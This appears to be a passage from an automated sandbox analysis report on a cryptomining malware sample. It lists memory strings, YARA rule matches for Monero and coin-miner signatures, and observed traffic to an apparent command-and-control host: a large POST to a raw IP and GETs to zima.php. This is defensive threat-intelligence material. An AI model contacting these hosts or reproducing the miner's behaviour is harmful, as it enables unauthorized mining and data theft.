    Source: powershell.exe, 00000006.00000002.91830440067.00000172124A1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.92814546028.000001FE00001000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://aka.ms/pscore68
    Source: powershell.exe, 00000006.00000002.91972509853.0000017222509000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://contoso.com/
    Source: powershell.exe, 00000006.00000002.91972509853.0000017222509000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://contoso.com/Icon
    Source: powershell.exe, 00000006.00000002.91972509853.0000017222509000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://contoso.com/License
    Source: vbc.exe, 0000000D.00000000.92158358269.0000000140070000.00000040.00000400.00020000.00000000.sdmp, RegSvcs.exe, 00000010.00000002.92445709998.0000000140000000.00000040.00000400.00020000.00000000.sdmpString found in binary or memory: https://curl.haxx.se/docs/http-cookies.html
    Source: powershell.exe, 00000006.00000002.91963869375.0000017213836000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.91957768157.00000172137A6000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://github.com/Pester/Pester
    Source: powershell.exe, 00000006.00000002.91839178457.000001721266E000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://github.com/Pester/PesterXz
    Source: powershell.exe, 00000006.00000002.91962120114.000001721380B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.91963869375.0000017213836000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://github.com/Pester/Pesterh
    Source: powershell.exe, 00000006.00000003.91693535689.00000172145E0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000003.91722803587.0000017214DBB000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000003.91720863325.0000017214D35000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000003.91712536556.0000017214B12000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://go.micro
    Source: powershell.exe, 00000006.00000003.91651185541.0000017213984000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.91972509853.0000017222509000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://nuget.org/nuget.exe
    Source: powershell.exe, 00000006.00000002.91957768157.00000172137A6000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://oneget.org
    Source: unknownHTTP traffic detected: POST /BEBRA.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 179.43.141.116Content-Length: 174985Expect: 100-continueConnection: Keep-Alive
    Source: unknownDNS traffic detected: queries for: f0758246.xsph.ru
    Source: global trafficHTTP traffic detected: GET //zima.php?mine=OTHER HTTP/1.1Host: f0758246.xsph.ruConnection: Keep-Alive
    Source: global trafficHTTP traffic detected: GET //zima.php?mine=ETC HTTP/1.1Host: f0758246.xsph.ru
    Source: global trafficHTTP traffic detected: GET //zima.php?mine=ETC HTTP/1.1Host: f0758246.xsph.ruConnection: Keep-Alive

    System Summary

    barindex
    Malicious sample detected (through community Yara rule)
    Source: 13.0.vbc.exe.140000000.0.unpack, type: UNPACKEDPEMatched rule: Detects Monero mining software Author: Florian Roth
    Source: 13.0.vbc.exe.140000000.0.unpack, type: UNPACKEDPEMatched rule: Detects Crypto Miner strings Author: Florian Roth
    Source: 0000000D.00000000.92158358269.0000000140070000.00000040.00000400.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects Crypto Miner strings Author: Florian Roth
    Source: Process Memory Space: vbc.exe PID: 4788, type: MEMORYSTRMatched rule: Detects Crypto Miner strings Author: Florian Roth
    Source: gOKMPhOLiN.exeStatic PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE
    Source: 13.0.vbc.exe.140000000.0.unpack, type: UNPACKEDPEMatched rule: XMRIG_Monero_Miner date = 2018-01-04, hash4 = 0972ea3a41655968f063c91a6dbd31788b20e64ff272b27961d12c681e40b2d2, hash3 = f3f2703a7959183b010d808521b531559650f6f347a5830e47f8e3831b10bad5, hash2 = 08b55f9b7dafc53dfc43f7f70cdd7048d231767745b76dc4474370fb323d7ae7, hash1 = 5c13a274adb9590249546495446bb6be5f2a08f9dcd2fc8a2049d9dc471135c0, author = Florian Roth, description = Detects Monero mining software, reference = https://github.com/xmrig/xmrig/releases, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, modified = 2022-11-10
    Source: 13.0.vbc.exe.140000000.0.unpack, type: UNPACKEDPEMatched rule: BTC_Miner_lsass1_chrome_2 date = 2017-06-22, hash2 = c8db8469287d47ffdc74fe86ce0e9d6e51de67ba1df318573c9398742116a6e8, author = Florian Roth, description = Detects a Bitcoin Miner, reference = Internal Research - CN Actor, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, super_rule = 048e9146387d6ff2ac055eb9ddfbfb9a7f70e95c7db9692e2214fa4bec3d5b2e
    Source: 13.0.vbc.exe.140000000.0.unpack, type: UNPACKEDPEMatched rule: CoinMiner_Strings date = 2018-01-04, author = Florian Roth, description = Detects mining pool protocol string in Executable, nodeepdive = , score = https://minergate.com/faq/what-pool-address, modified = 2021-10-26
    Source: 13.0.vbc.exe.140000000.0.unpack, type: UNPACKEDPEMatched rule: PUA_CryptoMiner_Jan19_1 date = 2019-01-31, author = Florian Roth, description = Detects Crypto Miner strings, score = ede858683267c61e710e367993f5e589fcb4b4b57b09d023a67ea63084c54a05, reference = Internal Research
    Source: 0000001D.00000002.96506568876.00000000041CA000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: CoinMiner_Strings date = 2018-01-04, author = Florian Roth, description = Detects mining pool protocol string in Executable, nodeepdive = , score = https://minergate.com/faq/what-pool-address, modified = 2021-10-26
    Source: 0000001D.00000002.96506568876.00000000041CA000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: PUA_Crypto_Mining_CommandLine_Indicators_Oct21 date = 2021-10-24, author = Florian Roth, description = Detects command line parameters often used by crypto mining software, score = , reference = https://www.poolwatch.io/coin/monero
    Source: 0000001D.00000002.96524111396.00000000042A2000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: CoinMiner_Strings date = 2018-01-04, author = Florian Roth, description = Detects mining pool protocol string in Executable, nodeepdive = , score = https://minergate.com/faq/what-pool-address, modified = 2021-10-26
    Source: 0000001D.00000002.96524111396.00000000042A2000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: PUA_Crypto_Mining_CommandLine_Indicators_Oct21 date = 2021-10-24, author = Florian Roth, description = Detects command line parameters often used by crypto mining software, score = , reference = https://www.poolwatch.io/coin/monero
    Source: 0000001D.00000002.96518345191.0000000004260000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: CoinMiner_Strings date = 2018-01-04, author = Florian Roth, description = Detects mining pool protocol string in Executable, nodeepdive = , score = https://minergate.com/faq/what-pool-address, modified = 2021-10-26
    Source: 0000001D.00000002.96518345191.0000000004260000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: PUA_Crypto_Mining_CommandLine_Indicators_Oct21 date = 2021-10-24, author = Florian Roth, description = Detects command line parameters often used by crypto mining software, score = , reference = https://www.poolwatch.io/coin/monero
    Source: 0000001D.00000002.96510475842.00000000041FE000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: CoinMiner_Strings date = 2018-01-04, author = Florian Roth, description = Detects mining pool protocol string in Executable, nodeepdive = , score = https://minergate.com/faq/what-pool-address, modified = 2021-10-26
    Source: 0000001D.00000002.96510475842.00000000041FE000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: PUA_Crypto_Mining_CommandLine_Indicators_Oct21 date = 2021-10-24, author = Florian Roth, description = Detects command line parameters often used by crypto mining software, score = , reference = https://www.poolwatch.io/coin/monero
    Source: 0000001D.00000002.96503474855.00000000041A4000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: CoinMiner_Strings date = 2018-01-04, author = Florian Roth, description = Detects mining pool protocol string in Executable, nodeepdive = , score = https://minergate.com/faq/what-pool-address, modified = 2021-10-26
    Source: 0000001D.00000002.96503474855.00000000041A4000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: PUA_Crypto_Mining_CommandLine_Indicators_Oct21 date = 2021-10-24, author = Florian Roth, description = Detects command line parameters often used by crypto mining software, score = , reference = https://www.poolwatch.io/coin/monero
    Source: 0000001D.00000002.96518966653.0000000004268000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: CoinMiner_Strings date = 2018-01-04, author = Florian Roth, description = Detects mining pool protocol string in Executable, nodeepdive = , score = https://minergate.com/faq/what-pool-address, modified = 2021-10-26
    Source: 0000001D.00000002.96518966653.0000000004268000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: PUA_Crypto_Mining_CommandLine_Indicators_Oct21 date = 2021-10-24, author = Florian Roth, description = Detects command line parameters often used by crypto mining software, score = , reference = https://www.poolwatch.io/coin/monero
    Source: 0000001D.00000002.96525410376.00000000042B2000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: CoinMiner_Strings date = 2018-01-04, author = Florian Roth, description = Detects mining pool protocol string in Executable, nodeepdive = , score = https://minergate.com/faq/what-pool-address, modified = 2021-10-26
    Source: 0000001D.00000002.96525410376.00000000042B2000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: PUA_Crypto_Mining_CommandLine_Indicators_Oct21 date = 2021-10-24, author = Florian Roth, description = Detects command line parameters often used by crypto mining software, score = , reference = https://www.poolwatch.io/coin/monero
    Source: 0000001D.00000002.96481512642.00000000040AC000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: CoinMiner_Strings date = 2018-01-04, author = Florian Roth, description = Detects mining pool protocol string in Executable, nodeepdive = , score = https://minergate.com/faq/what-pool-address, modified = 2021-10-26
    Source: 0000001D.00000002.96481512642.00000000040AC000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: PUA_Crypto_Mining_CommandLine_Indicators_Oct21 date = 2021-10-24, author = Florian Roth, description = Detects command line parameters often used by crypto mining software, score = , reference = https://www.poolwatch.io/coin/monero
    Source: 0000001D.00000002.96481787703.00000000040B0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: CoinMiner_Strings date = 2018-01-04, author = Florian Roth, description = Detects mining pool protocol string in Executable, nodeepdive = , score = https://minergate.com/faq/what-pool-address, modified = 2021-10-26
    Source: 0000001D.00000002.96481787703.00000000040B0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: PUA_Crypto_Mining_CommandLine_Indicators_Oct21 date = 2021-10-24, author = Florian Roth, description = Detects command line parameters often used by crypto mining software, score = , reference = https://www.poolwatch.io/coin/monero
    Source: 0000001D.00000002.96517434578.0000000004254000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: CoinMiner_Strings date = 2018-01-04, author = Florian Roth, description = Detects mining pool protocol string in Executable, nodeepdive = , score = https://minergate.com/faq/what-pool-address, modified = 2021-10-26
    Source: 0000001D.00000002.96517434578.0000000004254000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: PUA_Crypto_Mining_CommandLine_Indicators_Oct21 date = 2021-10-24, author = Florian Roth, description = Detects command line parameters often used by crypto mining software, score = , reference = https://www.poolwatch.io/coin/monero
    Source: 0000001D.00000002.96490547034.0000000004112000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: CoinMiner_Strings date = 2018-01-04, author = Florian Roth, description = Detects mining pool protocol string in Executable, nodeepdive = , score = https://minergate.com/faq/what-pool-address, modified = 2021-10-26
    Source: 0000001D.00000002.96490547034.0000000004112000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: PUA_Crypto_Mining_CommandLine_Indicators_Oct21 date = 2021-10-24, author = Florian Roth, description = Detects command line parameters often used by crypto mining software, score = , reference = https://www.poolwatch.io/coin/monero
    Source: 0000001D.00000002.96520568936.000000000427A000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: CoinMiner_Strings date = 2018-01-04, author = Florian Roth, description = Detects mining pool protocol string in Executable, nodeepdive = , score = https://minergate.com/faq/what-pool-address, modified = 2021-10-26
    Source: 0000001D.00000002.96520568936.000000000427A000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: PUA_Crypto_Mining_CommandLine_Indicators_Oct21 date = 2021-10-24, author = Florian Roth, description = Detects command line parameters often used by crypto mining software, score = , reference = https://www.poolwatch.io/coin/monero
    Source: 0000001D.00000002.96514861660.0000000004234000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: CoinMiner_Strings date = 2018-01-04, author = Florian Roth, description = Detects mining pool protocol string in Executable, nodeepdive = , score = https://minergate.com/faq/what-pool-address, modified = 2021-10-26
    Source: 0000001D.00000002.96514861660.0000000004234000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: PUA_Crypto_Mining_CommandLine_Indicators_Oct21 date = 2021-10-24, author = Florian Roth, description = Detects command line parameters often used by crypto mining software, score = , reference = https://www.poolwatch.io/coin/monero
    Source: 0000001D.00000002.96499386083.0000000004174000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: CoinMiner_Strings date = 2018-01-04, author = Florian Roth, description = Detects mining pool protocol string in Executable, nodeepdive = , score = https://minergate.com/faq/what-pool-address, modified = 2021-10-26
    Source: 0000001D.00000002.96499386083.0000000004174000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: PUA_Crypto_Mining_CommandLine_Indicators_Oct21 date = 2021-10-24, author = Florian Roth, description = Detects command line parameters often used by crypto mining software, score = , reference = https://www.poolwatch.io/coin/monero
    Source: 0000000D.00000000.92158358269.0000000140070000.00000040.00000400.00020000.00000000.sdmp, type: MEMORYMatched rule: CoinMiner_Strings date = 2018-01-04, author = Florian Roth, description = Detects mining pool protocol string in Executable, nodeepdive = , score = https://minergate.com/faq/what-pool-address, modified = 2021-10-26
    Source: 0000000D.00000000.92158358269.0000000140070000.00000040.00000400.00020000.00000000.sdmp, type: MEMORYMatched rule: PUA_CryptoMiner_Jan19_1 date = 2019-01-31, author = Florian Roth, description = Detects Crypto Miner strings, score = ede858683267c61e710e367993f5e589fcb4b4b57b09d023a67ea63084c54a05, reference = Internal Research
    Source: 0000001D.00000002.96489360699.0000000004102000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: CoinMiner_Strings date = 2018-01-04, author = Florian Roth, description = Detects mining pool protocol string in Executable, nodeepdive = , score = https://minergate.com/faq/what-pool-address, modified = 2021-10-26
    Source: 0000001D.00000002.96489360699.0000000004102000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: PUA_Crypto_Mining_CommandLine_Indicators_Oct21 date = 2021-10-24, author = Florian Roth, description = Detects command line parameters often used by crypto mining software, score = , reference = https://www.poolwatch.io/coin/monero
    Source: 0000001D.00000002.96522735673.000000000428E000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: CoinMiner_Strings date = 2018-01-04, author = Florian Roth, description = Detects mining pool protocol string in Executable, nodeepdive = , score = https://minergate.com/faq/what-pool-address, modified = 2021-10-26
    Source: 0000001D.00000002.96522735673.000000000428E000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: PUA_Crypto_Mining_CommandLine_Indicators_Oct21 date = 2021-10-24, author = Florian Roth, description = Detects command line parameters often used by crypto mining software, score = , reference = https://www.poolwatch.io/coin/monero
    Source: 0000001D.00000002.96500072191.000000000417C000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: CoinMiner_Strings date = 2018-01-04, author = Florian Roth, description = Detects mining pool protocol string in Executable, nodeepdive = , score = https://minergate.com/faq/what-pool-address, modified = 2021-10-26
    Source: 0000001D.00000002.96500072191.000000000417C000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: PUA_Crypto_Mining_CommandLine_Indicators_Oct21 date = 2021-10-24, author = Florian Roth, description = Detects command line parameters often used by crypto mining software, score = , reference = https://www.poolwatch.io/coin/monero
    Source: 0000001D.00000002.96509067249.00000000041EA000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: CoinMiner_Strings date = 2018-01-04, author = Florian Roth, description = Detects mining pool protocol string in Executable, nodeepdive = , score = https://minergate.com/faq/what-pool-address, modified = 2021-10-26
    Source: 0000001D.00000002.96509067249.00000000041EA000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: PUA_Crypto_Mining_CommandLine_Indicators_Oct21 date = 2021-10-24, author = Florian Roth, description = Detects command line parameters often used by crypto mining software, score = , reference = https://www.poolwatch.io/coin/monero
    Source: 0000001D.00000002.96494136859.000000000413A000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: CoinMiner_Strings date = 2018-01-04, author = Florian Roth, description = Detects mining pool protocol string in Executable, nodeepdive = , score = https://minergate.com/faq/what-pool-address, modified = 2021-10-26
    Source: 0000001D.00000002.96494136859.000000000413A000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: PUA_Crypto_Mining_CommandLine_Indicators_Oct21 date = 2021-10-24, author = Florian Roth, description = Detects command line parameters often used by crypto mining software, score = , reference = https://www.poolwatch.io/coin/monero
    Source: 0000001D.00000002.96507535505.00000000041D6000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: CoinMiner_Strings date = 2018-01-04, author = Florian Roth, description = Detects mining pool protocol string in Executable, nodeepdive = , score = https://minergate.com/faq/what-pool-address, modified = 2021-10-26
    Source: 0000001D.00000002.96507535505.00000000041D6000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: PUA_Crypto_Mining_CommandLine_Indicators_Oct21 date = 2021-10-24, author = Florian Roth, description = Detects command line parameters often used by crypto mining software, score = , reference = https://www.poolwatch.io/coin/monero
    Source: 0000001D.00000002.96501169084.0000000004188000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: CoinMiner_Strings date = 2018-01-04, author = Florian Roth, description = Detects mining pool protocol string in Executable, nodeepdive = , score = https://minergate.com/faq/what-pool-address, modified = 2021-10-26
    Source: 0000001D.00000002.96501169084.0000000004188000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: PUA_Crypto_Mining_CommandLine_Indicators_Oct21 date = 2021-10-24, author = Florian Roth, description = Detects command line parameters often used by crypto mining software, score = , reference = https://www.poolwatch.io/coin/monero
    Source: 0000001D.00000002.96505520371.00000000041BA000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: CoinMiner_Strings date = 2018-01-04, author = Florian Roth, description = Detects mining pool protocol string in Executable, nodeepdive = , score = https://minergate.com/faq/what-pool-address, modified = 2021-10-26
    Source: 0000001D.00000002.96505520371.00000000041BA000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: PUA_Crypto_Mining_CommandLine_Indicators_Oct21 date = 2021-10-24, author = Florian Roth, description = Detects command line parameters often used by crypto mining software, score = , reference = https://www.poolwatch.io/coin/monero
    Source: 0000001D.00000002.96512829013.000000000421E000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: CoinMiner_Strings date = 2018-01-04, author = Florian Roth, description = Detects mining pool protocol string in Executable, nodeepdive = , score = https://minergate.com/faq/what-pool-address, modified = 2021-10-26
    Source: 0000001D.00000002.96512829013.000000000421E000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: PUA_Crypto_Mining_CommandLine_Indicators_Oct21 date = 2021-10-24, author = Florian Roth, description = Detects command line parameters often used by crypto mining software, score = , reference = https://www.poolwatch.io/coin/monero
    Source: 0000001D.00000002.96493513444.0000000004132000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: CoinMiner_Strings date = 2018-01-04, author = Florian Roth, description = Detects mining pool protocol string in Executable, nodeepdive = , score = https://minergate.com/faq/what-pool-address, modified = 2021-10-26
    Source: 0000001D.00000002.96493513444.0000000004132000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: PUA_Crypto_Mining_CommandLine_Indicators_Oct21 date = 2021-10-24, author = Florian Roth, description = Detects command line parameters often used by crypto mining software, score = , reference = https://www.poolwatch.io/coin/monero
    Source: 0000001D.00000002.96502543117.0000000004198000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: CoinMiner_Strings date = 2018-01-04, author = Florian Roth, description = Detects mining pool protocol string in Executable, nodeepdive = , score = https://minergate.com/faq/what-pool-address, modified = 2021-10-26
    Source: 0000001D.00000002.96502543117.0000000004198000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: PUA_Crypto_Mining_CommandLine_Indicators_Oct21 date = 2021-10-24, author = Florian Roth, description = Detects command line parameters often used by crypto mining software, score = , reference = https://www.poolwatch.io/coin/monero
    Source: 0000001D.00000002.96484960707.00000000040D4000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: CoinMiner_Strings date = 2018-01-04, author = Florian Roth, description = Detects mining pool protocol string in Executable, nodeepdive = , score = https://minergate.com/faq/what-pool-address, modified = 2021-10-26
    Source: 0000001D.00000002.96484960707.00000000040D4000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: PUA_Crypto_Mining_CommandLine_Indicators_Oct21 date = 2021-10-24, author = Florian Roth, description = Detects command line parameters often used by crypto mining software, score = , reference = https://www.poolwatch.io/coin/monero
    Source: 0000001D.00000002.96513802159.0000000004228000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: CoinMiner_Strings date = 2018-01-04, author = Florian Roth, description = Detects mining pool protocol string in Executable, nodeepdive = , score = https://minergate.com/faq/what-pool-address, modified = 2021-10-26
    Source: 0000001D.00000002.96513802159.0000000004228000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: PUA_Crypto_Mining_CommandLine_Indicators_Oct21 date = 2021-10-24, author = Florian Roth, description = Detects command line parameters often used by crypto mining software, score = , reference = https://www.poolwatch.io/coin/monero
    Source: 0000001D.00000002.96522286357.000000000428A000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: CoinMiner_Strings date = 2018-01-04, author = Florian Roth, description = Detects mining pool protocol string in Executable, nodeepdive = , score = https://minergate.com/faq/what-pool-address, modified = 2021-10-26
    Source: 0000001D.00000002.96522286357.000000000428A000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: PUA_Crypto_Mining_CommandLine_Indicators_Oct21 date = 2021-10-24, author = Florian Roth, description = Detects command line parameters often used by crypto mining software, score = , reference = https://www.poolwatch.io/coin/monero
    Source: 0000001D.00000002.96520021483.0000000004274000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: CoinMiner_Strings date = 2018-01-04, author = Florian Roth, description = Detects mining pool protocol string in Executable, nodeepdive = , score = https://minergate.com/faq/what-pool-address, modified = 2021-10-26
    Source: 0000001D.00000002.96520021483.0000000004274000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: PUA_Crypto_Mining_CommandLine_Indicators_Oct21 date = 2021-10-24, author = Florian Roth, description = Detects command line parameters often used by crypto mining software, score = , reference = https://www.poolwatch.io/coin/monero
    Source: 0000001D.00000002.96503195421.00000000041A0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: CoinMiner_Strings date = 2018-01-04, author = Florian Roth, description = Detects mining pool protocol string in Executable, nodeepdive = , score = https://minergate.com/faq/what-pool-address, modified = 2021-10-26
    Source: 0000001D.00000002.96503195421.00000000041A0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: PUA_Crypto_Mining_CommandLine_Indicators_Oct21 date = 2021-10-24, author = Florian Roth, description = Detects command line parameters often used by crypto mining software, score = , reference = https://www.poolwatch.io/coin/monero
    Source: 0000001D.00000002.96525099856.00000000042AE000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: CoinMiner_Strings date = 2018-01-04, author = Florian Roth, description = Detects mining pool protocol string in Executable, nodeepdive = , score = https://minergate.com/faq/what-pool-address, modified = 2021-10-26
    Source: 0000001D.00000002.96525099856.00000000042AE000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: PUA_Crypto_Mining_CommandLine_Indicators_Oct21 date = 2021-10-24, author = Florian Roth, description = Detects command line parameters often used by crypto mining software, score = , reference = https://www.poolwatch.io/coin/monero
    Source: 0000001D.00000002.96506039535.00000000041C2000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: CoinMiner_Strings date = 2018-01-04, author = Florian Roth, description = Detects mining pool protocol string in Executable, nodeepdive = , score = https://minergate.com/faq/what-pool-address, modified = 2021-10-26
    Source: 0000001D.00000002.96506039535.00000000041C2000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: PUA_Crypto_Mining_CommandLine_Indicators_Oct21 date = 2021-10-24, author = Florian Roth, description = Detects command line parameters often used by crypto mining software, score = , reference = https://www.poolwatch.io/coin/monero
    Source: 0000001D.00000002.96524770023.00000000042AA000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: CoinMiner_Strings date = 2018-01-04, author = Florian Roth, description = Detects mining pool protocol string in Executable, nodeepdive = , score = https://minergate.com/faq/what-pool-address, modified = 2021-10-26
    Source: 0000001D.00000002.96524770023.00000000042AA000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: PUA_Crypto_Mining_CommandLine_Indicators_Oct21 date = 2021-10-24, author = Florian Roth, description = Detects command line parameters often used by crypto mining software, score = , reference = https://www.poolwatch.io/coin/monero
    Source: 0000000D.00000002.96419200084.00000264AD398000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: CoinMiner_Strings date = 2018-01-04, author = Florian Roth, description = Detects mining pool protocol string in Executable, nodeepdive = , score = https://minergate.com/faq/what-pool-address, modified = 2021-10-26
    Source: 0000000D.00000002.96420170190.00000264AD3A2000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: CoinMiner_Strings date = 2018-01-04, author = Florian Roth, description = Detects mining pool protocol string in Executable, nodeepdive = , score = https://minergate.com/faq/what-pool-address, modified = 2021-10-26
    Source: 0000001D.00000002.96496850893.000000000415A000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: CoinMiner_Strings date = 2018-01-04, author = Florian Roth, description = Detects mining pool protocol string in Executable, nodeepdive = , score = https://minergate.com/faq/what-pool-address, modified = 2021-10-26
    Source: 0000001D.00000002.96496850893.000000000415A000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: PUA_Crypto_Mining_CommandLine_Indicators_Oct21 date = 2021-10-24, author = Florian Roth, description = Detects command line parameters often used by crypto mining software, score = , reference = https://www.poolwatch.io/coin/monero
    Source: 0000001D.00000002.96482548301.00000000040B8000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: CoinMiner_Strings date = 2018-01-04, author = Florian Roth, description = Detects mining pool protocol string in Executable, nodeepdive = , score = https://minergate.com/faq/what-pool-address, modified = 2021-10-26
    Source: 0000001D.00000002.96482548301.00000000040B8000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: PUA_Crypto_Mining_CommandLine_Indicators_Oct21 date = 2021-10-24, author = Florian Roth, description = Detects command line parameters often used by crypto mining software, score = , reference = https://www.poolwatch.io/coin/monero
    Source: 0000001D.00000002.96516842735.000000000424C000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: CoinMiner_Strings date = 2018-01-04, author = Florian Roth, description = Detects mining pool protocol string in Executable, nodeepdive = , score = https://minergate.com/faq/what-pool-address, modified = 2021-10-26
    Source: 0000001D.00000002.96516842735.000000000424C000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: PUA_Crypto_Mining_CommandLine_Indicators_Oct21 date = 2021-10-24, author = Florian Roth, description = Detects command line parameters often used by crypto mining software, score = , reference = https://www.poolwatch.io/coin/monero
    Source: 0000001D.00000002.96512513539.000000000421A000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: CoinMiner_Strings date = 2018-01-04, author = Florian Roth, description = Detects mining pool protocol string in Executable, nodeepdive = , score = https://minergate.com/faq/what-pool-address, modified = 2021-10-26
    Source: 0000001D.00000002.96512513539.000000000421A000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: PUA_Crypto_Mining_CommandLine_Indicators_Oct21 date = 2021-10-24, author = Florian Roth, description = Detects command line parameters often used by crypto mining software, score = , reference = https://www.poolwatch.io/coin/monero
    Source: 0000001D.00000002.96486794997.00000000040E8000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: CoinMiner_Strings date = 2018-01-04, author = Florian Roth, description = Detects mining pool protocol string in Executable, nodeepdive = , score = https://minergate.com/faq/what-pool-address, modified = 2021-10-26
    Source: 0000001D.00000002.96486794997.00000000040E8000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: PUA_Crypto_Mining_CommandLine_Indicators_Oct21 date = 2021-10-24, author = Florian Roth, description = Detects command line parameters often used by crypto mining software, score = , reference = https://www.poolwatch.io/coin/monero
    Source: 0000001D.00000002.96489111177.00000000040FE000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: CoinMiner_Strings date = 2018-01-04, author = Florian Roth, description = Detects mining pool protocol string in Executable, nodeepdive = , score = https://minergate.com/faq/what-pool-address, modified = 2021-10-26
